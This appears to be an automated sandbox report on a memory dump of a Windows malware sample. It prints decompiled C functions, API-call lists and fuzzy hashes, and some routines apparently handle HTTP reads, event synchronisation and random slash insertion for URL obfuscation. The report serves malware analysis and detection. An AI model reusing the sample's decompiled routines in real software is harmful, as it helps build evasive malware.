SysFreeString.OLEAUT32(00000000), ref: 01407084
SysFreeString.OLEAUT32(?), ref: 014070B3

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloclstrcmp
String ID:
API String ID: 1885612795-0
Opcode ID: b8d072cf6891c73b2dad5c1e7fd7507ad9066061ebeedcb84b83cfff0f288ae5
Instruction ID: 4e02ada41a29925ef404cb5f0ec717f4ae1b5464d3d0411df8e82c68c25a4496
Opcode Fuzzy Hash: b8d072cf6891c73b2dad5c1e7fd7507ad9066061ebeedcb84b83cfff0f288ae5
Instruction Fuzzy Hash: 5D5171B5D00109EFCB11DFE9C488CAEB7B5EF88301B144699E905EB360D731AD41CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 014053C6, Relevance: 6.1, APIs: 4, Instructions: 136
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E014053C6(signed int __eax, void* __eflags, intOrPtr _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				void _v92;
				void _v236;
				void* _t55;
				unsigned int _t56;
				signed int _t66;
				signed int _t74;
				void* _t76;
				signed int _t79;
				void* _t81;
				void* _t92;
				void* _t96;
				signed int* _t99;
				signed int _t101;
				signed int _t103;
				void* _t107;

				_t92 = _a12;
				_t101 = __eax;
				_t55 = E01401AD1(_a16, _t92);
				_t79 = _t55;
				if(_t79 == 0) {
					L18:
					return _t55;
				}
				_t56 =  *(_t92 + _t79 * 4 - 4);
				_t81 = 0;
				_t96 = 0x20;
				if(_t56 == 0) {
					L4:
					_t97 = _t96 - _t81;
					_v12 = _t96 - _t81;
					E014050FF(_t79,  &_v236);
					 *((intOrPtr*)(_t107 + _t101 * 4 - 0xe8)) = E01405745(_t101,  &_v236, _a8, _t96 - _t81);
					E01405745(_t79,  &_v92, _a12, _t97);
					_v8 =  *((intOrPtr*)(_t107 + _t79 * 4 - 0x5c));
					_t66 = E014050FF(_t101, 0x140d1b0);
					_t103 = _t101 - _t79;
					_a8 = _t103;
					if(_t103 < 0) {
						L17:
						E014050FF(_a16, _a4);
						E01405088(_t79,  &_v236, _a4, _t97);
						memset( &_v236, 0, 0x8c);
						_t55 = memset( &_v92, 0, 0x44);
						goto L18;
					}
					_t99 = _t107 + (_t103 + _t79) * 4 - 0xe8;
					do {
						if(_v8 != 0xffffffff) {
							_push(1);
							_push(0);
							_push(0);
							_push( *_t99);
							L0140AF2E();
							_t74 = _t66 +  *(_t99 - 4);
							asm("adc edx, esi");
							_push(0);
							_push(_v8 + 1);
							_push(_t92);
							_push(_t74);
							L0140AF28();
							if(_t92 > 0 || _t74 > 0xffffffff) {
								_t74 = _t74 | 0xffffffff;
								_v16 = _v16 & 0x00000000;
							}
						} else {
							_t74 =  *_t99;
						}
						_t106 = _t107 + _a8 * 4 - 0xe8;
						_a12 = _t74;
						_t76 = E01405F21(_t79,  &_v92, _t92, _t107 + _a8 * 4 - 0xe8, _t107 + _a8 * 4 - 0xe8, _t74);
						while(1) {
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							L13:
							_t92 =  &_v92;
							if(E014090C2(_t79, _t92, _t106) < 0) {
								break;
							}
							L14:
							_a12 = _a12 + 1;
							_t76 = E01406044(_t79,  &_v92, _t106, _t106);
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							goto L13;
						}
						_a8 = _a8 - 1;
						_t66 = _a12;
						_t99 = _t99 - 4;
						 *(0x140d1b0 + _a8 * 4) = _t66;
					} while (_a8 >= 0);
					_t97 = _v12;
					goto L17;
				}
				while(_t81 < _t96) {
					_t81 = _t81 + 1;
					_t56 = _t56 >> 1;
					if(_t56 != 0) {
						continue;
					}
					goto L4;
				}
				goto L4;
			}

0x014053c9
0x014053d5
0x014053db
0x014053e0
0x014053e4
0x01405541
0x01405545
0x01405545
0x014053ea
0x014053ee
0x014053f2
0x014053f5
0x01405400
0x01405406
0x0140540b
0x0140540e
0x01405428
0x01405434
0x0140543d
0x01405447
0x0140544c
0x0140544e
0x01405451
0x014054ff
0x01405505
0x01405516
0x01405529
0x01405539
0x00000000
0x0140553e
0x0140545a
0x01405461
0x01405465
0x0140546b
0x0140546d
0x0140546f
0x01405471
0x01405473
0x0140547d
0x01405482
0x01405484
0x01405486
0x01405487
0x01405488
0x01405489
0x01405490
0x01405497
0x0140549a
0x0140549a
0x01405467
0x01405467
0x01405467
0x014054a2
0x014054aa
0x014054b3
0x014054b8
0x014054b8
0x014054bd
0x00000000
0x00000000
0x014054bf
0x014054c2
0x014054cc
0x00000000
0x00000000
0x014054ce
0x014054ce
0x014054d8
0x014054b8
0x014054bd
0x00000000
0x00000000
0x00000000
0x014054bd
0x014054e2
0x014054e5
0x014054e8
0x014054ef
0x014054ef
0x014054fc
0x00000000
0x014054fc
0x014053f7
0x014053fb
0x014053fc
0x014053fe
0x00000000
0x00000000
0x00000000
0x014053fe
0x00000000

APIs

_allmul.NTDLL(?,00000000,00000000,00000001), ref: 01405473
_aulldiv.NTDLL(00000000,?,00000100,00000000), ref: 01405489
memset.NTDLL ref: 01405529
memset.NTDLL ref: 01405539

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: memset$_allmul_aulldiv
String ID:
API String ID: 3041852380-0
Opcode ID: 21c9be737fe8401a88e7b78b06c00d88ba02265db2a24bca5b0e375b54cb3ced
Instruction ID: 020bcfae1b43a4115b9b7e6fe7d0730296fdfdf8b7578a77810310b7240136b7
Opcode Fuzzy Hash: 21c9be737fe8401a88e7b78b06c00d88ba02265db2a24bca5b0e375b54cb3ced
Instruction Fuzzy Hash: 53418571A0020AABDB12DFAACC40BDE7775EF54310F11853AE916AB2E0DB709955CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0140A81C, Relevance: 6.1, APIs: 4, Instructions: 126stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000008,75144D40), ref: 0140A82E

Part of subcall function 0140A71F: RtlAllocateHeap.NTDLL(00000000,00000000,01405595), ref: 0140A72B

ResetEvent.KERNEL32(?), ref: 0140A8A2
GetLastError.KERNEL32 ref: 0140A8C5
GetLastError.KERNEL32 ref: 0140A970

Part of subcall function 0140A734: HeapFree.KERNEL32(00000000,00000000,01405637,00000000,?,?,00000000), ref: 0140A740

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorHeapLast$AllocateEventFreeResetlstrlen
String ID:
API String ID: 943265810-0
Opcode ID: 61390568f933c444d24fb25ddeccea4670dd0b6c20967e6374b526206c7a2a03
Instruction ID: 95ee83f213950abad3e0d2970f7136b075c03f6757b2f5b2ff95428ef8e1196f
Opcode Fuzzy Hash: 61390568f933c444d24fb25ddeccea4670dd0b6c20967e6374b526206c7a2a03
Instruction Fuzzy Hash: 8F415E75600704BBD7339FA7DD88E6F7ABDEB85700B20492AF642961B4D7319545CB20

Uniqueness

Uniqueness Score: -1.00%

Function 014015FF, Relevance: 6.1, APIs: 4, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E014015FF(void* __eax, void* __ecx) {
				char _v8;
				void* _v12;
				intOrPtr _v16;
				char _v20;
				void* __esi;
				void* _t30;
				intOrPtr _t38;
				intOrPtr* _t39;
				intOrPtr* _t41;
				void* _t54;
				long _t64;
				void* _t67;
				void* _t69;

				_t58 = __ecx;
				_t67 = __eax;
				if( *((intOrPtr*)(__eax + 0xc)) != 0) {
					L2:
					_t30 = _t67;
					_pop(_t68);
					_t69 = _t30;
					_t64 = 0;
					ResetEvent( *(_t69 + 0x1c));
					_push( &_v8);
					_push(4);
					_push( &_v20);
					_push( *((intOrPtr*)(_t69 + 0x18)));
					if( *0x140d134() != 0) {
						L9:
						if(_v8 == 0) {
							 *((intOrPtr*)(_t69 + 0x30)) = 0;
						} else {
							 *0x140d164(0, 1,  &_v12);
							if(0 != 0) {
								_t64 = 8;
							} else {
								_t38 = E0140A71F(0x1000);
								_v16 = _t38;
								if(_t38 == 0) {
									_t64 = 8;
								} else {
									_push(0);
									_push(_v8);
									_push( &_v20);
									while(1) {
										_t41 = _v12;
										_t61 =  *_t41;
										 *((intOrPtr*)( *_t41 + 0x10))(_t41);
										ResetEvent( *(_t69 + 0x1c));
										_push( &_v8);
										_push(0x1000);
										_push(_v16);
										_push( *((intOrPtr*)(_t69 + 0x18)));
										if( *0x140d134() != 0) {
											goto L17;
										}
										_t64 = GetLastError();
										if(_t64 == 0x3e5) {
											_t64 = E01405646( *(_t69 + 0x1c), _t61, 0xffffffff);
											if(_t64 == 0) {
												_t64 =  *((intOrPtr*)(_t69 + 0x28));
												if(_t64 == 0) {
													goto L17;
												}
											}
										}
										L19:
										E0140A734(_v16);
										if(_t64 == 0) {
											_t64 = E014070CC(_v12, _t69);
										}
										goto L22;
										L17:
										_t64 = 0;
										if(_v8 != 0) {
											_push(0);
											_push(_v8);
											_push(_v16);
											continue;
										}
										goto L19;
									}
								}
								L22:
								_t39 = _v12;
								 *((intOrPtr*)( *_t39 + 8))(_t39);
							}
						}
					} else {
						_t64 = GetLastError();
						if(_t64 != 0x3e5) {
							L8:
							if(_t64 == 0) {
								goto L9;
							}
						} else {
							_t64 = E01405646( *(_t69 + 0x1c), _t58, 0xffffffff);
							if(_t64 == 0) {
								_t64 =  *((intOrPtr*)(_t69 + 0x28));
								goto L8;
							}
						}
					}
					return _t64;
				} else {
					_t54 = E01409242(__ecx, __eax);
					if(_t54 != 0) {
						return _t54;
					} else {
						goto L2;
					}
				}
			}

0x014015ff
0x01401600
0x01401606
0x01401611
0x01401611
0x01401613
0x014018e7
0x014018ec
0x014018ee
0x014018f3
0x014018f4
0x014018f9
0x014018fa
0x01401905
0x01401936
0x0140193b
0x014019fe
0x01401941
0x01401948
0x01401950
0x014019fb
0x01401956
0x0140195b
0x01401960
0x01401965
0x014019ed
0x0140196b
0x0140196b
0x0140196d
0x01401973
0x01401974
0x01401974
0x01401977
0x0140197a
0x01401980
0x01401985
0x01401986
0x0140198b
0x0140198e
0x01401999
0x00000000
0x00000000
0x014019a1
0x014019a9
0x014019b5
0x014019b9
0x014019bb
0x014019c0
0x00000000
0x00000000
0x014019c0
0x014019b9
0x014019d2
0x014019d5
0x014019dc
0x014019e7
0x014019e7
0x00000000
0x014019c2
0x014019c2
0x014019c7
0x014019c9
0x014019ca
0x014019cd
0x00000000
0x014019cd
0x00000000
0x014019c7
0x01401974
0x014019ee
0x014019ee
0x014019f4
0x014019f4
0x01401950
0x01401907
0x0140190d
0x01401915
0x0140192e
0x01401930
0x00000000
0x00000000
0x01401917
0x01401921
0x01401925
0x0140192b
0x00000000
0x0140192b
0x01401925
0x01401915
0x01401a07
0x01401608
0x01401608
0x0140160f
0x0140161a
0x00000000
0x00000000
0x00000000
0x0140160f

APIs

ResetEvent.KERNEL32(?,00000000,?,00000102,?,?,00000000,00000000,751881D0), ref: 014018EE
GetLastError.KERNEL32(?,?,?,00000000,751881D0), ref: 01401907
ResetEvent.KERNEL32(?), ref: 01401980
GetLastError.KERNEL32 ref: 0140199B

Part of subcall function 01409242: WaitForSingleObject.KERNEL32(?,00000000,00000000,00000102,?,00000000,00000000,751881D0), ref: 01409259
Part of subcall function 01409242: SetEvent.KERNEL32(?), ref: 01409269

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: Event$ErrorLastReset$ObjectSingleWait
String ID:
API String ID: 1123145548-0
Opcode ID: 3dcf592cd5ddf8c9ebd4414a1c56ef943da717f1e14da5490ff254ffef4579a4
Instruction ID: 9a835ae5c4cd0266a9038b5b61d3566e505a674e98d9cf692914a6e9de6c8de3
Opcode Fuzzy Hash: 3dcf592cd5ddf8c9ebd4414a1c56ef943da717f1e14da5490ff254ffef4579a4
Instruction Fuzzy Hash: BC41D632600604EBDB239BEBCC44AAF77B9AF84750F10057AE556D72F0EA30E941CB10

Uniqueness

Uniqueness Score: -1.00%

Function 014011EE, Relevance: 6.1, APIs: 4, Instructions: 96
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E014011EE(signed int _a4, signed int* _a8) {
				void* __ecx;
				void* __edi;
				signed int _t6;
				intOrPtr _t8;
				intOrPtr _t12;
				short* _t19;
				void* _t25;
				signed int* _t28;
				CHAR* _t30;
				long _t31;
				intOrPtr* _t32;

				_t6 =  *0x140d270; // 0xd448b889
				_t32 = _a4;
				_a4 = _t6 ^ 0x109a6410;
				_t8 =  *0x140d2a8; // 0x10fa5a8
				_t3 = _t8 + 0x140e87e; // 0x61636f4c
				_t25 = 0;
				_t30 = E014038A8(_t3, 1);
				if(_t30 != 0) {
					_t25 = CreateEventA(0x140d2ac, 1, 0, _t30);
					E0140A734(_t30);
				}
				_t12 =  *0x140d25c; // 0x2000000a
				if(_t12 <= 5 || _t12 == 6 && _t12 >= 2 ||  *_t32 == 0 || E0140A65C() != 0) {
					L12:
					_t28 = _a8;
					if(_t28 != 0) {
						 *_t28 =  *_t28 | 0x00000001;
					}
					_t31 = E01408EA1(_t32, 0);
					if(_t31 == 0 && _t25 != 0) {
						_t31 = WaitForSingleObject(_t25, 0x4e20);
					}
					if(_t28 != 0 && _t31 != 0) {
						 *_t28 =  *_t28 & 0xfffffffe;
					}
					goto L20;
				} else {
					_t19 =  *0x140d10c( *_t32, 0x20);
					if(_t19 != 0) {
						 *_t19 = 0;
						_t19 = _t19 + 2;
					}
					_t31 = E0140A273(0,  *_t32, _t19, 0);
					if(_t31 == 0) {
						if(_t25 == 0) {
							L22:
							return _t31;
						}
						_t31 = WaitForSingleObject(_t25, 0x4e20);
						if(_t31 == 0) {
							L20:
							if(_t25 != 0) {
								CloseHandle(_t25);
							}
							goto L22;
						}
					}
					goto L12;
				}
			}

0x014011ef
0x014011f6
0x01401200
0x01401204
0x0140120a
0x01401219
0x01401220
0x01401224
0x01401236
0x01401238
0x01401238
0x0140123d
0x01401244
0x0140129b
0x0140129b
0x014012a1
0x014012a3
0x014012a3
0x014012ad
0x014012b1
0x014012c3
0x014012c3
0x014012c7
0x014012cd
0x014012cd
0x00000000
0x0140125d
0x01401262
0x0140126a
0x0140126e
0x01401272
0x01401272
0x0140127f
0x01401283
0x01401287
0x014012dc
0x014012e2
0x014012e2
0x01401295
0x01401299
0x014012d0
0x014012d2
0x014012d5
0x014012d5
0x00000000
0x014012d2
0x01401299
0x00000000
0x01401283

APIs

Part of subcall function 014038A8: lstrlen.KERNEL32(00000005,00000000,63699BC3,00000027,00000000,02509A98,00000000,?,?,63699BC3,00000005,0140D00C,?,?,01405D30), ref: 014038DE
Part of subcall function 014038A8: lstrcpy.KERNEL32(00000000,00000000), ref: 01403902
Part of subcall function 014038A8: lstrcat.KERNEL32(00000000,00000000), ref: 0140390A

CreateEventA.KERNEL32(0140D2AC,00000001,00000000,00000000,61636F4C,00000001,00000000,00000001,?,00000000,?,01403760,?,00000001,?), ref: 0140122F

Part of subcall function 0140A734: HeapFree.KERNEL32(00000000,00000000,01405637,00000000,?,?,00000000), ref: 0140A740

WaitForSingleObject.KERNEL32(00000000,00004E20,01403760,00000000,00000000,?,00000000,?,01403760,?,00000001,?,?,?,?,014052AA), ref: 0140128F
WaitForSingleObject.KERNEL32(00000000,00004E20,61636F4C,00000001,00000000,00000001,?,00000000,?,01403760,?,00000001,?), ref: 014012BD
CloseHandle.KERNEL32(00000000,61636F4C,00000001,00000000,00000001,?,00000000,?,01403760,?,00000001,?,?,?,?,014052AA), ref: 014012D5

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: ObjectSingleWait$CloseCreateEventFreeHandleHeaplstrcatlstrcpylstrlen
String ID:
API String ID: 73268831-0
Opcode ID: c9a26cb5250c51b49120789dc87981a7c8b53b45ee2bcb7baecbe9778a2dcfc8
Instruction ID: 05153b0feadc7f77357728ada03852e9da805d0e7e3956fcef7a7c41033c4a4a
Opcode Fuzzy Hash: c9a26cb5250c51b49120789dc87981a7c8b53b45ee2bcb7baecbe9778a2dcfc8
Instruction Fuzzy Hash: C921D1B2A003115BD7339BAF9844A6B77A9BB95B20F15063EFA05F72F4DA70C8048780

Uniqueness

Uniqueness Score: -1.00%

Function 01409242, Relevance: 6.1, APIs: 4, Instructions: 92
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E01409242(void* __ecx, void* __esi) {
				char _v8;
				long _v12;
				char _v16;
				long _v20;
				long _t34;
				long _t39;
				long _t42;
				long _t56;
				intOrPtr _t58;
				void* _t59;
				intOrPtr* _t60;
				void* _t61;

				_t61 = __esi;
				_t59 = __ecx;
				_t60 =  *0x140d13c; // 0x140abf1
				 *((intOrPtr*)(__esi + 0x2c)) = 0;
				do {
					_t34 = WaitForSingleObject( *(_t61 + 0x1c), 0);
					_v20 = _t34;
					if(_t34 != 0) {
						L3:
						_push( &_v16);
						_push( &_v8);
						_push(_t61 + 0x2c);
						_push(0x20000013);
						_push( *((intOrPtr*)(_t61 + 0x18)));
						_v8 = 4;
						_v16 = 0;
						if( *_t60() == 0) {
							_t39 = GetLastError();
							_v12 = _t39;
							if(_v20 == 0 || _t39 != 0x2ef3) {
								L15:
								return _v12;
							} else {
								goto L11;
							}
						}
						if(_v8 != 4 ||  *((intOrPtr*)(_t61 + 0x2c)) == 0) {
							goto L11;
						} else {
							_v16 = 0;
							_v8 = 0;
							 *_t60( *((intOrPtr*)(_t61 + 0x18)), 0x16, 0,  &_v8,  &_v16);
							_t58 = E0140A71F(_v8 + 1);
							if(_t58 == 0) {
								_v12 = 8;
							} else {
								_push( &_v16);
								_push( &_v8);
								_push(_t58);
								_push(0x16);
								_push( *((intOrPtr*)(_t61 + 0x18)));
								if( *_t60() == 0) {
									E0140A734(_t58);
									_v12 = GetLastError();
								} else {
									 *((char*)(_t58 + _v8)) = 0;
									 *((intOrPtr*)(_t61 + 0xc)) = _t58;
								}
							}
							goto L15;
						}
					}
					SetEvent( *(_t61 + 0x1c));
					_t56 =  *((intOrPtr*)(_t61 + 0x28));
					_v12 = _t56;
					if(_t56 != 0) {
						goto L15;
					}
					goto L3;
					L11:
					_t42 = E01405646( *(_t61 + 0x1c), _t59, 0xea60);
					_v12 = _t42;
				} while (_t42 == 0);
				goto L15;
			}

0x01409242
0x01409242
0x0140924c
0x01409252
0x01409255
0x01409259
0x0140925f
0x01409264
0x0140927d
0x01409280
0x01409284
0x01409288
0x01409289
0x0140928e
0x01409291
0x01409298
0x0140929f
0x014092f2
0x014092f8
0x014092fe
0x01409339
0x0140933f
0x00000000
0x00000000
0x00000000
0x014092fe
0x014092a5
0x00000000
0x014092ac
0x014092ba
0x014092bd
0x014092c0
0x014092cc
0x014092d0
0x01409332
0x014092d2
0x014092d5
0x014092d9
0x014092da
0x014092db
0x014092dd
0x014092e4
0x01409322
0x0140932d
0x014092e6
0x014092e9
0x014092ed
0x014092ed
0x014092e4
0x00000000
0x014092d0
0x014092a5
0x01409269
0x0140926f
0x01409272
0x01409277
0x00000000
0x00000000
0x00000000
0x01409307
0x0140930f
0x01409314
0x01409317
0x00000000

APIs

WaitForSingleObject.KERNEL32(?,00000000,00000000,00000102,?,00000000,00000000,751881D0), ref: 01409259
SetEvent.KERNEL32(?), ref: 01409269
GetLastError.KERNEL32 ref: 014092F2

Part of subcall function 01405646: WaitForMultipleObjects.KERNEL32(00000002,0140A8E3,00000000,0140A8E3,?,?,?,0140A8E3,0000EA60), ref: 01405661

Part of subcall function 0140A734: HeapFree.KERNEL32(00000000,00000000,01405637,00000000,?,?,00000000), ref: 0140A740

GetLastError.KERNEL32(00000000), ref: 01409327

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorLastWait$EventFreeHeapMultipleObjectObjectsSingle
String ID:
API String ID: 602384898-0
Opcode ID: 39e9e91485d3fb19f9f9dc03cbf4caebbc10ceb32563a6606e31ac23cdb0c8b2
Instruction ID: 226af9519bb8c0132ccb3c917dff98accf0fc61601815533fd9be3e414b67e78
Opcode Fuzzy Hash: 39e9e91485d3fb19f9f9dc03cbf4caebbc10ceb32563a6606e31ac23cdb0c8b2
Instruction Fuzzy Hash: FD31F4B5900309EFDB22DFD6C9C499FBBB8EB09304F10897AD546D2291D7709A459F50

Uniqueness

Uniqueness Score: -1.00%

Function 014036B1, Relevance: 6.1, APIs: 4, Instructions: 87
sleepCOMMON

Download Yara Rule

C-Code - Quality: 40%

			E014036B1(void* __ecx, void* __eflags, intOrPtr _a4, signed int* _a8, intOrPtr _a12) {
				intOrPtr _v12;
				void* _v16;
				void* _v28;
				char _v32;
				void* __esi;
				void* _t29;
				void* _t38;
				signed int* _t39;
				void* _t40;

				_t36 = __ecx;
				_v32 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v12 = _a4;
				_t38 = E01403BB9(__ecx,  &_v32);
				if(_t38 != 0) {
					L12:
					_t39 = _a8;
					L13:
					if(_t39 != 0 && ( *_t39 & 0x00000001) == 0) {
						_t16 =  &(_t39[1]); // 0x5
						_t23 = _t16;
						if( *_t16 != 0) {
							E01404F79(_t23);
						}
					}
					return _t38;
				}
				if(E0140A2F9(0x40,  &_v16) != 0) {
					_v16 = 0;
				}
				_t40 = CreateEventA(0x140d2ac, 1, 0,  *0x140d344);
				if(_t40 != 0) {
					SetEvent(_t40);
					Sleep(0xbb8);
					CloseHandle(_t40);
				}
				_push( &_v32);
				if(_a12 == 0) {
					_t29 = E0140A446(_t36);
				} else {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_t29 = E0140853F(_t36);
				}
				_t41 = _v16;
				_t38 = _t29;
				if(_v16 != 0) {
					E01404F14(_t41);
				}
				if(_t38 != 0) {
					goto L12;
				} else {
					_t39 = _a8;
					_t38 = E014011EE( &_v32, _t39);
					goto L13;
				}
			}

0x014036b1
0x014036be
0x014036c4
0x014036c5
0x014036c6
0x014036c7
0x014036c8
0x014036cc
0x014036d8
0x014036dc
0x01403764
0x01403764
0x01403767
0x01403769
0x01403771
0x01403771
0x01403777
0x0140377a
0x0140377a
0x01403777
0x01403785
0x01403785
0x014036ef
0x014036f1
0x014036f1
0x01403708
0x0140370c
0x0140370f
0x0140371a
0x01403721
0x01403721
0x0140372a
0x0140372e
0x0140373c
0x01403730
0x01403730
0x01403731
0x01403732
0x01403733
0x01403734
0x01403735
0x01403735
0x01403741
0x01403744
0x01403748
0x0140374a
0x0140374a
0x01403751
0x00000000
0x01403753
0x01403753
0x01403760
0x00000000
0x01403760

APIs

CreateEventA.KERNEL32(0140D2AC,00000001,00000000,00000040,00000001,?,7519F710,00000000,7519F730,?,?,?,014052AA,?,00000001,?), ref: 01403702
SetEvent.KERNEL32(00000000,?,?,?,014052AA,?,00000001,?,00000002,?,?,01405D5E,?), ref: 0140370F
Sleep.KERNEL32(00000BB8,?,?,?,014052AA,?,00000001,?,00000002,?,?,01405D5E,?), ref: 0140371A
CloseHandle.KERNEL32(00000000,?,?,?,014052AA,?,00000001,?,00000002,?,?,01405D5E,?), ref: 01403721

Part of subcall function 0140A446: WaitForSingleObject.KERNEL32(00000000,?,?,?,01403741,?,01403741,?,?,?,?,?,01403741,?), ref: 0140A520

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: Event$CloseCreateHandleObjectSingleSleepWait
String ID:
API String ID: 2559942907-0
Opcode ID: c7248336dc278cb5a1087bb8f77b3b388c90063e667f41245c85c9686875eee9
Instruction ID: b51f9335b15464bb957d311a2334d94d19b2ccdfe3e3ae367acca7539170b567
Opcode Fuzzy Hash: c7248336dc278cb5a1087bb8f77b3b388c90063e667f41245c85c9686875eee9
Instruction Fuzzy Hash: BB219BB2D00216AFDB23BFEB89C489F7B69BB54250B05847BE711A72A0D7349545C750

Uniqueness

Uniqueness Score: -1.00%

Function 014017E5, Relevance: 6.1, APIs: 4, Instructions: 61
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E014017E5(unsigned int __eax, void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _t21;
				signed short _t23;
				char* _t27;
				void* _t29;
				void* _t30;
				unsigned int _t33;
				void* _t37;
				unsigned int _t38;
				void* _t41;
				void* _t42;
				int _t45;
				void* _t46;

				_t42 = __eax;
				__imp__(__eax, _t37, _t41, _t29, __ecx, __ecx);
				_t38 = __eax;
				_t30 = RtlAllocateHeap( *0x140d238, 0, (__eax >> 3) + __eax + 1);
				_v12 = _t30;
				if(_t30 != 0) {
					_v8 = _t42;
					do {
						_t33 = 0x18;
						if(_t38 <= _t33) {
							_t33 = _t38;
						}
						_t21 =  *0x140d250; // 0xa5b0acb4
						_t23 = 0x3c6ef35f + _t21 * 0x19660d;
						 *0x140d250 = _t23;
						_t45 = (_t23 & 0x0000ffff) % (_t33 + 0xfffffff8) + 8;
						memcpy(_t30, _v8, _t45);
						_v8 = _v8 + _t45;
						_t27 = _t30 + _t45;
						_t38 = _t38 - _t45;
						_t46 = _t46 + 0xc;
						 *_t27 = 0x2f;
						_t13 = _t27 + 1; // 0x1
						_t30 = _t13;
					} while (_t38 > 8);
					memcpy(_t30, _v8, _t38 + 1);
				}
				return _v12;
			}

0x014017ed
0x014017f0
0x014017f6
0x0140180e
0x01401810
0x01401815
0x01401817
0x0140181a
0x0140181c
0x0140181f
0x01401821
0x01401821
0x01401823
0x0140182e
0x01401833
0x01401844
0x0140184c
0x01401851
0x01401854
0x01401857
0x01401859
0x0140185c
0x0140185f
0x0140185f
0x01401862
0x0140186d
0x01401872
0x0140187c

APIs

lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,01401C49,00000000,?,?,014020C2,?,025095B0), ref: 014017F0
RtlAllocateHeap.NTDLL(00000000,?), ref: 01401808
memcpy.NTDLL(00000000,?,-00000008,?,?,?,01401C49,00000000,?,?,014020C2,?,025095B0), ref: 0140184C
memcpy.NTDLL(00000001,?,00000001), ref: 0140186D

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpy$AllocateHeaplstrlen
String ID:
API String ID: 1819133394-0
Opcode ID: 4848efa41e9031c63dc9e1428fe0c81de5561db01ebcae6bb2dac1ba1a42c7ee
Instruction ID: 434037a88167793bd4440b2fe48db890449e1f8310aeaa9ea254ac1b2546e9f2
Opcode Fuzzy Hash: 4848efa41e9031c63dc9e1428fe0c81de5561db01ebcae6bb2dac1ba1a42c7ee
Instruction Fuzzy Hash: C7110A72A00114AFD3119BABDD84E5E7BEDDBD0760F05027AF504972A0E770DE04C790

Uniqueness

Uniqueness Score: -1.00%

Function 01406840, Relevance: 6.0, APIs: 4, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

